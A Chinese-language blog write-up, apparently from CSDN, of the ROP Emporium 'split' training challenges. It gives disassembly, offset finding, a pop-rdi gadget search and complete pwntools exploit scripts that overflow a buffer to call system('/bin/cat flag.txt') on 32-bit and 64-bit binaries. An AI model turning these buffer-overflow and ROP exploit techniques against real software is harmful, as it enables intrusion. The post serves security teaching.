ROP_Emporium_split

12 篇文章 0 订阅

1. split32

信息收集

$ file split32
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped
$ checksec split32
[*] '/home/starr/Documents/CProject/pwn/split32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

一个开启了NX防护的32位程序。

黑盒测试

$ ulimit -c unlimited
$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ ./split32 < cyclic.txt
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> Thank you!
Segmentation fault (core dumped)
$ gdb ./split32 ./split32.core.3271
Core was generated by `./split32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x6161616c in ?? ()
$ cyclic -l 0x6161616c
44

缓冲区偏移44字节处覆盖了返回地址。

反汇编

$ objdump -d -M intel split32
080483e0 <system@plt>:
 80483e0:       ff 25 18 a0 04 08       jmp    DWORD PTR ds:0x804a018
 80483e6:       68 18 00 00 00          push   0x18
 80483eb:       e9 b0 ff ff ff          jmp    80483a0 <.plt>

08048546 <main>:
...
 804858b:       e8 1d 00 00 00          call   80485ad <pwnme>
...
080485ad <pwnme>:
 80485ad:       55                      push   ebp
 80485ae:       89 e5                   mov    ebp,esp
 80485b0:       83 ec 28                sub    esp,0x28
 80485b3:       83 ec 04                sub    esp,0x4
 80485b6:       6a 20                   push   0x20
 80485b8:       6a 00                   push   0x0
 80485ba:       8d 45 d8                lea    eax,[ebp-0x28]
 80485bd:       50                      push   eax
 80485be:       e8 4d fe ff ff          call   8048410 <memset@plt>
 80485c3:       83 c4 10                add    esp,0x10
 80485c6:       83 ec 0c                sub    esp,0xc
 80485c9:       68 d4 86 04 08          push   0x80486d4
 80485ce:       e8 fd fd ff ff          call   80483d0 <puts@plt>
 80485d3:       83 c4 10                add    esp,0x10
 80485d6:       83 ec 0c                sub    esp,0xc
 80485d9:       68 00 87 04 08          push   0x8048700
 80485de:       e8 dd fd ff ff          call   80483c0 <printf@plt>
 80485e3:       83 c4 10                add    esp,0x10
 80485e6:       83 ec 04                sub    esp,0x4
 80485e9:       6a 60                   push   0x60
 80485eb:       8d 45 d8                lea    eax,[ebp-0x28]
 80485ee:       50                      push   eax
 80485ef:       6a 00                   push   0x0
 80485f1:       e8 ba fd ff ff          call   80483b0 <read@plt>   read(stdin, buf, 0x60)
 80485f6:       83 c4 10                add    esp,0x10
 80485f9:       83 ec 0c                sub    esp,0xc
 80485fc:       68 03 87 04 08          push   0x8048703
 8048601:       e8 ca fd ff ff          call   80483d0 <puts@plt>
 8048606:       83 c4 10                add    esp,0x10
 8048609:       90                      nop
 804860a:       c9                      leave
 804860b:       c3                      ret

0804860c <usefulFunction>:
 804860c:       55                      push   ebp
 804860d:       89 e5                   mov    ebp,esp
 804860f:       83 ec 08                sub    esp,0x8
 8048612:       83 ec 0c                sub    esp,0xc
 8048615:       68 0e 87 04 08          push   0x804870e
 804861a:       e8 c1 fd ff ff          call   80483e0 <system@plt>
 804861f:       83 c4 10                add    esp,0x10
 8048622:       90                      nop
 8048623:       c9                      leave
 8048624:       c3                      ret

主函数逻辑就是调用pwnme,读取0x60字节到ebp-0x28处的缓冲区,发生溢出。

usefulFunction调用了system,但它的参数并不是/bin/sh或者/bin/cat flag.txt, 而是/bin/ls:

$ strings -t x split32 | grep 70e
    70e /bin/ls

搜索一下,文件偏移1030处有我们想要的字符串参数:

$ strings -t x split32 | grep /bin
    70e /bin/ls
   1030 /bin/cat flag.txt

但要注意,字符串的虚拟地址并不是0x8048000 + 0x1030 == 0x8049030。需要计算一下:

$ readelf -S split32
[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
...
[24] .data             PROGBITS        0804a028 001028 00001a 00  WA  0   0  4
...

字符串位于.data 内,它的虚拟地址就是0804a028 + (0x1030 - 0x001028) == 0x804a030

思路就是:覆盖返回地址为call system指令地址(0x804861a), 紧跟着是/bin/cat flag.txt字符串的地址。

system是libc中的函数,所以这种方法就叫ret2libc。

Exp

from pwn import *

context.arch = "i386"
context.bits = 32
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./split32")

pCallSystem = 0x804861a;
pStrCatFlag = 0x804a030;
payload = bytes("A"*44, encoding="ascii")
payload += p32(pCallSystem)
payload += p32(pStrCatFlag)

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

调试分析

顺便看下system的延迟加载。实际上用system@plt也是可以的。 system 使用得比较频繁,经过调试发现,程序运行之前解析system会转到plt这里, 一旦运行,就会解析到system本体:

pwndbg> disassemble system
Dump of assembler code for function system@plt:
   0x080483e0 <+0>:     jmp    DWORD PTR ds:0x804a018
   0x080483e6 <+6>:     push   0x18
   0x080483eb <+11>:    jmp    0x80483a0
End of assembler dump.
pwndbg> n
The program is not being run.
pwndbg> start
pwndbg> disassemble system
Dump of assembler code for function __libc_system:
   0xf7e1a3d0 <+0>:     sub    esp,0xc
   0xf7e1a3d3 <+3>:     mov    eax,DWORD PTR [esp+0x10]
   0xf7e1a3d7 <+7>:     call   0xf7f1440d <__x86.get_pc_thunk.dx>
   0xf7e1a3dc <+12>:    add    edx,0x19ac24
   0xf7e1a3e2 <+18>:    test   eax,eax

调试下payload,system开头会开辟0xc字节得栈空间,然后用esp+0x10访问字符串/bin/cat flag.txt:

   0xf7d233d0 <system>       sub    esp, 0xc
 ► 0xf7d233d3 <system+3>     mov    eax, dword ptr [esp + 0x10]
   0xf7d233d7 <system+7>     call   __x86.get_pc_thunk.dx                    <__x86.get_pc_thunk.dx>
 
   0xf7d233dc <system+12>    add    edx, 0x19ac24
   0xf7d233e2 <system+18>    test   eax, eax
   0xf7d233e4 <system+20>    je     system+32                    <system+32>
 
   0xf7d233e6 <system+22>    add    esp, 0xc
   0xf7d233e9 <system+25>    jmp    do_system                    <do_system>
 
   0xf7d233ee <system+30>    nop    
   0xf7d233f0 <system+32>    lea    eax, [edx - 0x59e1d]
   0xf7d233f6 <system+38>    call   do_system                    <do_system>
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xff965170 ◂— 0xb /* '\x0b' */
01:0004│     0xff965174 —▸ 0xf7f06940 ◂— 0x0
02:0008│     0xff965178 ◂— 0x18
03:000c│     0xff96517c —▸ 0x804861f (usefulFunction+19) ◂— add    esp, 0x10
04:0010│     0xff965180 —▸ 0x804a030 (usefulString) ◂— '/bin/cat flag.txt'

实际上,返回地址覆盖为system@plt,也是可以的,只不过因为_dl_runtime_resolve最后有个ret 0xc,在字符串地址之前要再加个4字节填充:

 ► 0xf7ef4deb <_dl_runtime_resolve+27>    ret    0xc                           <1>
    ↓
   0xf7d243d0 <system>                    sub    esp, 0xc
   0xf7d243d3 <system+3>                  mov    eax, dword ptr [esp + 0x10]
   0xf7d243d7 <system+7>                  call   __x86.get_pc_thunk.dx      
00:0000│ esp 0xff8fce30 —▸ 0xf7d243d0 (system) ◂— sub    esp, 0xc
01:0004│     0xff8fce34 ◂— 0xb /* '\x0b' */
02:0008│     0xff8fce38 —▸ 0xf7f07940 ◂— 0x0
03:000c│     0xff8fce3c ◂— 0x18
04:0010│     0xff8fce40 ◂— 0x42424242 ('BBBB')
05:0014│     0xff8fce44 —▸ 0x804a030 (usefulString) ◂— '/bin/cat flag.txt'
pwndbg> ni 3
   0xf7d243d0 <system>       sub    esp, 0xc
   0xf7d243d3 <system+3>     mov    eax, dword ptr [esp + 0x10]
 ► 0xf7d243d7 <system+7>     call   __x86.get_pc_thunk.dx                    <__x86.get_pc_thunk.dx>
        arg[0]: 0xb
        arg[1]: 0xf7f07940 ◂— 0x0
        arg[2]: 0x18
        arg[3]: 0x42424242 ('BBBB')
 
   0xf7d243dc <system+12>    add    edx, 0x19ac24
...
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xff8fce34 ◂— 0xb /* '\x0b' */
01:0004│     0xff8fce38 —▸ 0xf7f07940 ◂— 0x0
02:0008│     0xff8fce3c ◂— 0x18
03:000c│     0xff8fce40 ◂— 0x42424242 ('BBBB')
04:0010│     0xff8fce44 —▸ 0x804a030 (usefulString) ◂— '/bin/cat flag.txt'
05:0014│     0xff8fce48 ◂— 0xa /* '\n' */
06:0018│     0xff8fce4c —▸ 0xf7cfffa1 (__libc_start_main+241) ◂— add    esp, 0x10

BBBB这个填充位置,正常应该是pop;pop;ret这样的指令地址,以便返回下面的__libc_start_main函数。这里填充了BBBB其实会导致崩溃:

Core was generated by `./split32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x42424242 in ?? ()

exp:

from pwn import *

context.arch = "i386"
context.bits = 32
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./split32")

# pCallSystem = 0x804861a;
pCallSystem = 0x80483e0;
pStrCatFlag = 0x804a030;
payload = bytes("A"*44, encoding="ascii")
payload += p32(pCallSystem)
payload += bytes("B"*4, encoding="ascii")
payload += p32(pStrCatFlag)

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

2. split

程序换成了64位的,直接搜索一下字符串:

$ strings -t x split | grep bin
    84a /bin/ls
   1060 /bin/cat flag.txt
$ readelf -S split
There are 29 section headers, starting at offset 0x1a98:

Section Headers:
  [Nr] Name              Type             Address           Offset
...
  [23] .data             PROGBITS         0000000000601050  00001050
       0000000000000022  0000000000000000  WA       0     0     16

字符串地址:0x601050 + (0x1060 - 0x1050) == 0x601060

黑盒测试

64位程序内存地址不能大于 0x00007fffffffffff,所以一般不会通过dump来分析溢出点。

反汇编

注意看下pwnme函数,分析溢出点:

0000000000400560 <system@plt>:
  ...
00000000004006e8 <pwnme>:
  4006e8:       55                      push   rbp
  4006e9:       48 89 e5                mov    rbp,rsp
  4006ec:       48 83 ec 20             sub    rsp,0x20
  4006f0:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4006f4:       ba 20 00 00 00          mov    edx,0x20
  4006f9:       be 00 00 00 00          mov    esi,0x0
  4006fe:       48 89 c7                mov    rdi,rax
  400701:       e8 7a fe ff ff          call   400580 <memset@plt>
  ...
  40071f:       48 8d 45 e0             lea    rax,[rbp-0x20]
  400723:       ba 60 00 00 00          mov    edx,0x60
  400728:       48 89 c6                mov    rsi,rax
  40072b:       bf 00 00 00 00          mov    edi,0x0
  400730:       e8 5b fe ff ff          call   400590 <read@plt>

溢出点应该位于(ebp+8) - (ebp-0x20) == 0x28

64位程序注意一下传参是用的寄存器,这里使用edi传递system的字符串参数:

0000000000400742 <usefulFunction>:
  400742:       55                      push   rbp
  400743:       48 89 e5                mov    rbp,rsp
  400746:       bf 4a 08 40 00          mov    edi,0x40084a
  40074b:       e8 10 fe ff ff          call   400560 <system@plt>
  400750:       90                      nop
  400751:       5d                      pop    rbp
  400752:       c3                      ret
  400753:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
  40075a:       00 00 00
  40075d:       0f 1f 00                nop    DWORD PTR [rax]

构造payload:

  1. 找一段gadget,pop edi; ret
  2. /bin/cat flag.txt字符串地址,用来pop进edi;
  3. system地址。

寻找gadget:

pwndbg> ropgadget  --grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret

Exp

from pwn import *

context.arch = "amd64"
context.bits = 64
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./split")

# pCallSystem = 0x804861a;
pCallSystem = 0x40074b;
pCallSystemPlt = 0x0000000000400560;

pStrCatFlag = 0x601060;
pGadget = 0x00000000004007c3
payload = bytes("A"*40, encoding="ascii")   # padding
payload += p64(pGadget)
payload += p64(pStrCatFlag)

payload += p64(pCallSystem)
# payload += p64(pCallSystemPlt)

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

但是把返回地址覆盖为system@plt后发生了段错误,原因没查出来。

参考文章

3.1.4 返回导向编程(ROP)(x86) - CTF-All-In-One (gitbook.io)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值